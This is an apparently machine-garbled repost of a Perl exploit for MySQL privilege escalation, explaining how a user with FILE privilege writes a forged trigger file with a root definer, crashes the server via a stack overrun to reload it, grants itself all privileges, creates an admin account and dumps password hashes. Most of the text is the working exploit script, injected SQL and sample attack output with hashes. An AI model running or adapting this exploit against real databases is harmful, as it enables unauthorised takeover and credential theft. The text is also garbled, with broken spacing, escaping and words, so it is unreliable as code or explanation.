Let's make up the words: Kingsoft has done it again. The vulnerability was released on Seclist in December 1. The author tested successfully On Debian Lenny (mysql-5.0.51a) and OpenSuSE 11.4 (5.1.53-log), and added a MySQL Administrator account after successful code execution. Use DBI (); $ | = 1; = for comment MySQL privilege elevation ExploitThis exploit adds a new admin user. by Kingdom Tested on www.2cto.com * Debian Lenny (mysql-5.0.51a) * OpenSuSE 11.4 (5.1.53-log) How it works: This exploit makes use of several things: * The attacker is in possession of a mysql user with 'file' privileges for the target * So the attacker can create files on the system with this user (owned User 'mysql') * So the attacker is able to create TRIGGER files for a mysql tabletriggers can be used to trigger an event when a mysql command is executed by the user, normally triggers are 'attached' to a user and will be executed with this users privilege. because we can write any contents into the TRG file (the actual trigger file), we write the entrydescribing the attached user for the trigger "Root @ localhost" what is the default admin user. * We make use of the stack overrun priorly discovered to flush the server config so the trigger file is recognized. this step is really important, without crashing the mysql server instance and reconnecting (the server will respawn) the trigger file wocould not be recognized. so what the exploit does is: * Connect to the MySQL Server * Create a table na Med rootme for the trigger * Create the trigger file in/var/lib/mysql/<databasename>/rootme. TRG * Crash the MySQL Server to force it to respawn and recognize the trigger file (by triggering the stack overrun) * INSERT a value into the table so the trigger event gets executed * The trigger now sets all privileges of the current connecting user in the mysql. user table to enabled. * Crash the MySQL Serve R again to force it reload the user configuration * Create a new mysql user with all privileges set to enabled * Crash again to reload configuration * Connect by using the newly created user * The new connection has ADMIN access now to all databases in mysql * The user and password hashes in the mysql. user table are dumped for a convinient way to show the exploit succeeded * As said the user has FULL AC CESS to the database now Respawning of mysqld is done by mysqld_safe so this is not an issue in any configuration I 've seen. = cut = for comment user created for testing (file privs will minor privileges to only one database): mysql> create user 'less '@' % 'identified BY 'test '; query OK, 0 rows affected (0.00 sec) mysql> create database lessdb->; Query OK, 1 row affected (0.00 sec) mysql> GRANT ALL P Rivileges on lessdb. * TO 'less '@' % 'with grant option; Query OK, 0 rows affected (0.02 sec) mysql> GRANT FILE ON *. * TO 'less '@' % 'with grant option; Query OK, 0 rows affected (0.00 sec) login with new unprivileged user: mysql> select * from mysql. user; ERROR 1142 (42000): SELECT command denied to user 'ss2' @ 'localhost' for table 'user' = cut = for comment example attack output: C: \ Users \ Kingdom \ Desk Top> perl mysql_privilege_elevation.plselect 'Type = triggers' into outfile'/var/lib/mysql/lessdb3/rootme. TRG 'Lines terminated by '\ ntriggers = \ 'create DEFINER = 'root' @ 'localhost' trigger atk after insert on rootme for each row \ nbegin \ nUPDATE mysql. user SET Select_priv =\\\ 'y \\\ ', Insert_priv =\\\ 'y \\\', Update_priv =\\\ 'y \\\', delete_priv =\\\ 'y \\\ ', Create_priv =\\\ 'y \\\', Drop_priv =\\ 'y \\\ ', Reload _ Priv =\\ 'y \\\ ', Shutdown_priv =\\\ 'y \\\', Process_priv =\\ 'y \\\', file_priv =\\\ 'y \\\ ', Grant_priv =\\\ 'y \\\', References_priv =\\\ 'y \\\', index_priv =\\\ 'y \\\ ', Alter_priv =\\\ 'y \\\', Show_db_priv =\\\ 'y \\\', super_priv =\\\ 'y \\\ ', Create_tmp_table_priv =\\\ 'y \\\', Lock_tables_priv =\\ 'y \\\', execute_priv =\\\ 'y \\\ ', Repl_slave_priv =\\\ 'y \\\', Repl_client_priv =\\\ 'y \\\', create_view_priv =\\\ 'y \\\ ', Show_vi Ew_priv =\\\ 'y \\\ ', Create_routine_priv =\\\ 'y \\\', Alter_routine_priv =\\\ 'y \\\', create_user_priv =\\\ 'y \\\ ', ssl_type =\\\ 'y \\\', ssl_cipher =\\\ 'y \\\', x509_issuer =\\\ 'y \\\ ', x509_subject =\\\ 'y \\\', max_questions =\\ 'y \\\', max_updates =\\\ 'y \\\ ', max_connections =\\\ 'y \\\ 'whereuser =\\ 'less3 \\\'; \ nend \ '\ nsql_modes = 0 \ ndefiners = \ 'root @ localhost \' \ nclient_cs_names = \ 'latin1 \ '\ nconnection_cl_names = \ 'lati N1_swedish_ci \ '\ ndb_cl_names = \ 'latin1 _ swedish_ci \' \ n'; DBD: mysql: db do failed: Unknown table 'rootme' at least line 44.dbd:: mysql :: db do failed: Lost connection to MySQL server during query at mysql_privilege_elevation.pl line 50.DBD:: mysql: db do failed: Lost connection to MySQL server during query at limit line 59. w00TW00T! Found a row: id = root, name = * 81F5E21E35407D884A6CD4A731AEBFB6AF209E1BFound a row: id = root, name = * Your a row: id = root, name = * Your a row: id = debian-sys-maint, name = * export a row: id = some1, name = * 94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29Found a row: id = monty, nam E = * required a row: id = less, name = * 94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29Found a row: id = r00ted, name = * required a row: id = user, name = * required a row: id = less2, name = * 94bdcebe%83ce2a1f959fd02f964c7af4cfc29found a row: id = less3, name = * 94bdcebe%83ce2a1f959fd02f964c 7AF4CFC29Found a row: id = rootedsql, name = * Users = cut $ user = "less10"; $ password = "test"; $ database = "lessdb10 "; $ target = "192.168.2.4"; $ folder = "/var/lib/mysql/"; # Linux $ newuser = "rootedbox2"; $ newuserpass = "rootedbox2 "; $ mysql_version = "51"; # can be 51 or 50 if ($ mysql_version eq "50") {$ inject = "select 'Type = triggers' 'into outfile '". $ folder. $ database." /Rootme. TRG 'Lines terminated by '\ ntriggers =\\ 'create DEFINER = 'root' \ @ 'localhost' trigger atk after insert on rootme for each row \\\ nbegin \\ \ nUPDATE mysql. user SET Select_priv =\\\\\\ 'y \\\\\\ ', Insert_priv =\\\\\\ 'y \\\\\\', update_priv =\\\\\\ 'y \\\\\\ ', Delete_priv =\\\\\\\ 'y \\\\\\', create_priv =\\\\\\ 'y \\\\\\ ', Drop_priv =\\\\\\\ 'y \\\\\\', reload_priv =\\\\\\ 'y \\\\\\ ', Shutdown_priv =\\\\\\\ 'y \\\\\\', Process_priv =\\\\\\ 'y \\\\\\ ', File_priv =\\\\\\\ 'y \\\\\\', grant_priv =\\\\\\ 'y \\\\\\ ', References_priv =\\\\\\ 'y \\\\\\', index_priv =\\\\\\ 'y \\\\\\ ', Alter_priv =\\\\\\\ 'y \\\\\\', show_db_priv =\\\\\\ 'y \\\\\\ ', Super_priv =\\\\\\ 'y \\\\\\', create_tmp_table_priv =\\\\\\ 'y \\\\\\ ', Lock_tables_priv =\\\\\\ 'y \\\\\\', execute_priv =\\\\\\ 'y \\\\\\ ', Repl_slave_priv =\\\\\\\ 'y \\\\\\', repl_client_priv =\\\\\\ 'y \\\\\\ ', Create_view_priv =\\\\\\ 'y \\\\\\', Show_view_priv =\\\\\\ 'y \\\\\\', create_routine_priv =\\\\\\ 'y \\\\\\ ', Alter_routine_priv =\\\\\\ 'y \\\\\\', create_user_priv =\\\\\\ 'y \\\\\\ ', ssl_type =\\\\\\\ 'y \\\\\\', ssl_cipher =\\\\\\ 'y \\\\\\ ', x509_issuer =\\\\\\ 'y \\\\\\', x509_subject =\\\\\\ 'y \\\\\\ ', max_questions =\\\\\\ 'y \\\\\\', max_updates =\\\\\\ 'y \\\\\\', max_connections =\\\\\\ 'y \\\\\\ 'where User =\\\\\\ '$ User \\\\\\'; \\\\ nend \ '\ nsql_modes = 0 \ ndefiners =\\ 'root \ @ localhost \' \ nclient_cs_names =\\ 'latin1 \\'\\ nconnection_cl_names =\\ 'latin1 _ swedish_ci \ '\ ndb_cl_names =\\ 'latin1 _ swedish_ci \' \ n '; ";} else {$ inject =" select 'Type = triggers' 'into outfile '". $ folder. $ database. "/rootme. TRG 'Lines terminated by '\ ntriggers =\\ 'create DEFINER = 'root' \ @ 'localhost' trigger atk after insert on rootme for each row \\ \ Nbegin \ nUPDATE mysql. user SET Select_priv =\\\\\\ 'y \\\\\\ ', Insert_priv =\\\\\\ 'y \\\\\\', update_priv =\\\\\\ 'y \\\\\\ ', Delete_priv =\\\\\\\ 'y \\\\\\', create_priv =\\\\\\ 'y \\\\\\ ', Drop_priv =\\\\\\\ 'y \\\\\\', reload_priv =\\\\\\ 'y \\\\\\ ', Shutdown_priv =\\\\\\\ 'y \\\\\\', process_priv =\\\\\\ 'y \\\\\\ ', File_priv =\\\\\\\ 'y \\\\\\', grant_priv =\\\\\\ 'y \\\\\\ ', References_priv =\\\\\\ 'y \\\\\\', index_priv = \\\ \\\ 'Y \\\\\\ ', Alter_priv =\\\\\\ 'y \\\\\\', show_db_priv =\\\\\\ 'y \\\\\\ ', Super_priv =\\\\\\ 'y \\\\\\', create_tmp_table_priv =\\\\\\ 'y \\\\\\ ', Lock_tables_priv =\\\\\\ 'y \\\\\\', execute_priv =\\\\\\ 'y \\\\\\ ', Repl_slave_priv =\\\\\\\ 'y \\\\\\', repl_client_priv =\\\\\\ 'y \\\\\\ ', Create_view_priv =\\\\\\\ 'y \\\\\\', show_view_priv =\\\\\\ 'y \\\\\\ ', Create_routine_priv =\\\\\\\ 'y \\\\\\', alter_routine_priv =\\\\\ 'y \\\\\', Create_user_priv =\\\\\\ 'y \\\\\\', event_priv =\\\\\\ 'y \\\\\\ ', Trigger_priv =\\\\\\\ 'y \\\\\\', ssl_type =\\\\\\ 'y \\\\\\ ', ssl_cipher =\\\\\\ 'y \\\\\\', x509_issuer =\\\\\\ 'y \\\\\\ ', x509_subject =\\\\\\ 'y \\\\\\', max_questions =\\\\\\ 'y \\\\\\ ', max_updates =\\\\\\ 'y \\\\\\', max_connections =\\\\\\ 'y \\\\\\ 'where User =\\\\\\ '$ user \\\\\\'; \\\\ nend \ '\ nsql_modes = 0 \ ndefiners =\\ 'root \ @ localhost \' \ ncl Ient_cs_names =\\ 'latin1 \ '\ region =\\ 'latin1 _ swedish_ci \' \ ndb_cl_names =\\ 'latin1 _ swedish_ci \ '\ n '; ";}print $ inject; # exit; $ inject2 =" SELECT 'Type = TRIGGERNAME \ ntrigger_table = rootme; 'into outfile '". $ folder. $ database. "/atk. TRN 'fields escaped by ''"; my $ dbh = DBI-> connect ("DBI: mysql: database = $ database; host = $ target;", "$ user ", "$ password", {'raiseerror' => 0}); eval {$ dbh-> do ("DRO P table rootme ") }; $ dbh-> do (" create table rootme (rootme VARCHAR (256); "); $ dbh-> do ($ inject ); $ dbh-> do ($ inject2); $ a = "A" x 10000; $ dbh-> do ("grant all on $. * to 'user' \ @ '%' identified by 'secret'; "); sleep (3); my $ dbh = DBI-> connect (" DBI: mysql: database = $ database; host = $ target; "," $ user "," $ password ", {'raiseerror' => 0 }); $ dbh-> do ("insert into rootme VALUES ('rooted');"); $ dbh-> do ("grant all on $. * t O 'user' \ @ '%' identified by 'secret'; "); sleep (3); my $ dbh = DBI-> connect (" DBI: mysql: database = $ database; host = $ target; "," $ user "," $ password ", {'raiseerror' => 0 }); $ dbh-> do ("CREATE user' $ newuser' \ @ '% 'identified BY' $ newuserpass ';"); $ dbh-> do ("grant all privileges on *. * TO '$ newuser' \ @' % 'with grant option; "); $ dbh-> do (" grant all on $. * to 'user' \ @ '%' identified by 'secret'; "); sleep (3); my $ dbh = DBI-> connect ("DBI: mysql: host = $ target;", $ newuser, $ newuserpass, {'raiseerror' => 0 }); my $ something = $ dbh-> prepare ("SELECT * FROM mysql. user "); $ something-> execute (); print" W00TW00T! \ N "; while (my $ ref = $ th-> fetchrow_hashref () {print" Found a row: id = $ ref-> {'user '}, name = $ ref-> {'Password'} \ n ";}$ something-> finish ();